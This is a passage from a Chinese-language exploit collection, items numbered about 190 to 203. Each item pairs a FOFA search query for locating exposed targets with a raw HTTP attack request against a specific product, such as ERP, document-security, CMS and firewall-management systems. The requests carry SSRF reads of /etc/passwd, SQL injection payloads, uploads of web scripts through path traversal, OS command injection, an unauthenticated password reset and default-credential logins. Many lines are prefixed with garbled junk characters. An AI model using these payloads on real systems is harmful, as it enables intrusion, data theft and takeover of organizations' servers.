9 V3 i" ^% R  L2 s+ P2 b; QPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
+ f$ A8 d" _- b' ~$ [Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
# p5 M+ A7 k8 _- _& V9 BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
9 ?& D6 D  c* i. QContent-Type: application/x-www-form-urlencoded
; g" s! f% s3 zAccept-Encoding: gzip, deflate
; a. j5 q! E7 v( W" MAccept-Language: zh-CN,zh;q=0.9
) Z) C1 k2 ?' M' ~+ W
poi=file:///etc/passwd


191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
- X( p* h# b# ^8 E4 D0 c# y* w  @5 FPOST /CDGServer3/js/../NavigationAjax HTTP/1.1
: t2 n  r, K5 w6 bHost: your-ip
/ O' f" C. R# R3 x6 v' CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
( P6 Q) |1 A2 F# L" y, U
; h6 O3 q8 b$ p; M6 H  Qcommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=

' a& r! K& t7 S, U8 W& ]* ~2 p1 B
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
# \9 S! N! k& d% c0 ~' y/ ^% EFOFA：title="用户登录_富通天下外贸ERP"
  \* t, p1 _5 R; j. APOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
( M) W# r* ]% D4 P0 O0 RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
7 E4 n# J$ r& m$ c+ `6 _) OContent-Type: application/x-www-form-urlencoded
2 C; p  v+ L/ J$ |" m
- L! D2 T/ r+ j9 I0 W
1 J2 G% N5 t! o7 n<% @ webhandler language="C#" class="AverageHandler" %>
! ~. E3 J4 T3 C  tusing System;
0 b( d, a+ _- h4 u3 O, Rusing System.Web;
public class AverageHandler : IHttpHandler
{
, l6 T3 `! _- B) q. k9 {public bool IsReusable
4 ~; @- ?. W7 N( u{ get { return true; } }
. k) F( R8 a# B4 a, D1 Q: spublic void ProcessRequest(HttpContext ctx)
  \% Z; `# |. x! l2 o) _0 ^{
ctx.Response.Write("test");
+ n2 v0 @, ?5 a4 y+ x7 k}
4 t, V: v, J7 `  I& {}
3 N- Y8 ]% S6 K7 R+ @2 C+ O
  `2 f; v  a  Y# s
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
( t3 b, v* w- H8 _5 ~0 A0 u% @FOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
' s6 t/ c' v/ E, P9 {/ h( pCookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
& p" M! V3 H  D" S+ g1 w9 {
7 R6 @, M, z& r, t/ z8 d
) `8 W1 P7 @' r9 Q* A& V) O' b% HPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: PHPSESSID=2333333333333;
$ U# `# m9 k/ L# L& [* [' QContent-Type: application/x-www-form-urlencoded
9 s# L" V- g- L' V+ X. _& F; xContent-Length: 84

param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
/ \8 v. h! C8 L- u4 @
& s) Q; T! T& T
GET /master/img/config HTTP/1.1
' V, K0 ?* |' M8 UHost:
/ R1 I' A6 p# iUser-Agent: Mozilla/5.0
+ m5 V% [( w2 E7 @2 X
% ~0 l$ J0 M: w% r1 B
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

7 g+ X, P5 ^+ f/ K6 ?# QPOST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
- O1 c2 ?5 L. h9 X: E2 {' H0 m7 EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
7 k7 K2 E* G4 I* wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ T& D8 @( r5 Y6 a0 m7 {$ D7 V1 VAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 \. `. C9 c7 c/ AAccept-Encoding: gzip, deflate
  Y* ~; f9 N- y- pConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
  Z9 X, S% O) `" Z: z5 R------WebKitFormBoundaryKNt0t4vBe8cX9rZk
/ Q5 I) C0 m4 p8 y+ z1 O( n' {6 u
5 a# u2 }- `$ _6 X8 \Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
<% out.println("hello");%>
' [4 O% v/ I  h' b0 Z------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
1 A# Y. F) u; `( X( S7 M& C {"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--


195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
/ q9 Y$ M5 z8 N( w; C3 |+ EHost: 127.0.0.1
" w5 |2 g% X. N. M4 Z" NPragma: no-cache
Cache-Control: no-cache
, v; @. [: t& }# SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
7 _$ Q3 `6 W- N! VAccept: */*
Accept-Encoding: gzip, deflate
5 q" ~# o6 s% ~. D- yAccept-Language: zh-CN,zh;q=0.9
  @0 G3 o$ e! t' l3 fConnection: close
; s  N% {! i4 X; g* r( G7 TContent-Type: application/x-www-form-urlencoded
4 R9 O1 j3 Z( T( R, q- G# B7 I. ^Content-Length: 68

{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}

- R) N4 h0 u! E% i
# R/ [, d: a: h# P( V196. 河南省风速科技统一认证平台密码重置
8 j1 @0 T& m6 [1 T- }  kFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
& I2 t4 ^/ A7 j8 Q. z. g% YUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
* N- S+ w9 a9 _Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
6 e+ l" S2 i: ~7 G" cContent-Length: 45
  ~: J0 f+ h$ ?- |& OConnection: close

# a- }2 d$ e% V7 X{"xgh":"test","newPass":"test666","email":""}
, c# A* J- D1 f1 L; z& f' i9 x1 z& C

! Y! Y, ^& _$ A3 `
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
2 N# t7 Z; l0 b0 |. ~Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
5 E! `3 }8 X% E  CConnection: close



198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
) a4 R' x6 J0 JCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
Accept-Encoding: gzip, deflate
. A1 X' J" w8 V' H: q4 YAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close


( h# ?4 K2 X! W* |8 t+ u2 @199. cockpit系统assetsmanager_upload接口 文件上传
* g2 A3 }  N6 M- C, ~. f
* Z$ m6 b/ ?3 T2 `$ j; J/ D1 v1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1
; ]! g: r7 M9 _5 U, G
  q3 O6 M0 _/ O0 s0 P  o响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

2.使用刚才上一步获取到的jwt获取cookie：
- R% _2 J* Z. C. c6 W  m: S8 d
POST /auth/check HTTP/1.1
Content-Type: application/json

' t. {5 t: [( p# x{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
0 x% ]# v# G% w! L; vPOST /assetsmanager/upload HTTP/1.1
' a) m+ B# |0 B. |3 U( H$ VContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
! W; z/ r7 X, H. z6 a1 R, A5 RCookie: mysession=95524f01e238bf51bb60d77ede3bea92
1 L& R1 E: p6 ^( m
-----------------------------36D28FBc36bd6feE7Fb3
) f# V0 Y. ?1 ]7 k) u6 W# a! u' LContent-Disposition: form-data; name="files[]"; filename="tttt.php"
# i7 B/ J$ j- M4 _' a0 u- F& SContent-Type: text/php
) g1 U6 W6 R" k) ?3 y9 \! S5 I
$ f+ L+ Y: n% g  b! x# y! B& [<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
) v( E" o- {/ p6 uContent-Disposition: form-data; name="folder"
! _9 j$ j7 X1 M3 ~( }, y
-----------------------------36D28FBc36bd6feE7Fb3--


. ~+ K, l2 G( u1 U' E, G. ^/storage/uploads/tttt.php
; r* Q( b% p/ y; Z" Q% v7 Z
/ p; q, c) [+ j8 {- F200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
. K4 i: d: y9 _: M# m8 WGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
, s: ^, ?4 ~: w8 h( j/ F  mUpgrade-Insecure-Requests: 1
# u; v2 x5 K/ xCache-Control: max-age=0
8 B# S0 U. u" P. t* m6 ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

2 w. ~  W# C  @- Z' ~: a. E% x
% t) t9 g# x1 l. U201. 方正全媒体新闻采编系统 binary SQL注入
& X( {4 y9 @0 y. ^6 G9 F0 sFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
5 V: O2 c& v3 l! `) W+ V& `POST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
& r1 P' v. E8 ]2 \0 ^$ x8 ~+ `/ }Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
" ?3 c$ B4 k) j2 i' n; oConnection: close
- z* Y; y9 \5 L7 D3 @" l) B/ i/ L
5 b$ F7 {! Y8 ETableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1

- h2 s" v) D7 _- h! {8 v
7 m# _8 n* ^2 a, b2 p202. 微擎系统 AccountEdit任意文件上传
) w% c7 E$ ]% g' M5 u+ j# W' h' `  p( hFOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
# v, |) L/ P" d8 O& [GET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
2 K5 b4 x) Y4 l2 aContent-Length: 0
! A3 l1 Q/ N0 c

替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
5 o, q6 ~) e6 P: h2 h7 p9 y
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"
4 B% o7 y: b& O0 l4 w! a$ _
__VIEWSTATE
2 S6 Q: ]# _* W0 S4 l4 |-----------------------------786435874t38587593865736587346567358735687
  S; h" {) w4 _$ ^: Z. _+ PContent-Disposition: form-data; name="__EVENTVALIDATION"
3 D  B  @) Z: G; b  r9 n6 `
* y* Z% z- y' K0 C. K+ e__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
* |6 n; }" J6 LContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
& u1 v* M; h! l" o  Q. nContent-Type: text/plain
" ]* d6 G+ B9 [
Hello World!
$ V! \+ @, \* V" Z# J7 F' a8 E- H-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
$ k5 t+ K# H* _; I4 ]
" O7 ?6 {  T8 A+ D上传图片
* c1 j/ n, t# R2 }- U( [8 u-----------------------------786435874t38587593865736587346567358735687
# D1 e% x$ F( q$ b* uContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
2 E& P5 t4 i5 n- Z4 U7 x
5 U" u( Q) A7 s/ x' @
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
5 B7 O: t# B( P3 `! O5 O8 P
, y, @5 ]' s- E' X% [# ^
-----------------------------786435874t38587593865736587346567358735687--


! o6 U3 w) A2 k* B/ B/_data/Uploads/1123.txt
% J4 Y# `, _, b% D$ e
203. 红海云EHR PtFjk 文件上传
& O2 Z' k: R# I% A0 [, n& S) zFOFA：body="RedseaPlatform"
. P  H4 D* }- V+ W7 ^: u2 |POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
3 k4 U( y1 F7 R+ w' {3 v# CAccept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210
4 U7 X( w* y7 |  R, Z1 F$ |* Q+ [
3 h) z3 v# {# w  O------WebKitFormBoundaryt7WbDl1tXogoZys4
& |5 e1 w& A, N8 ^6 V# ^Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
* `% B2 O% G* C0 I! XContent-Type:image/jpeg
+ j; @6 Z* T* |6 ~" I3 L
8 h4 A6 N& d5 q<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--
( y( A1 K& S' s" J
2 u. \0 V: Z6 K
) {: F( V. Q; Q3 q& \* u" I
6 ~$ L8 K- C. B6 ?8 T; K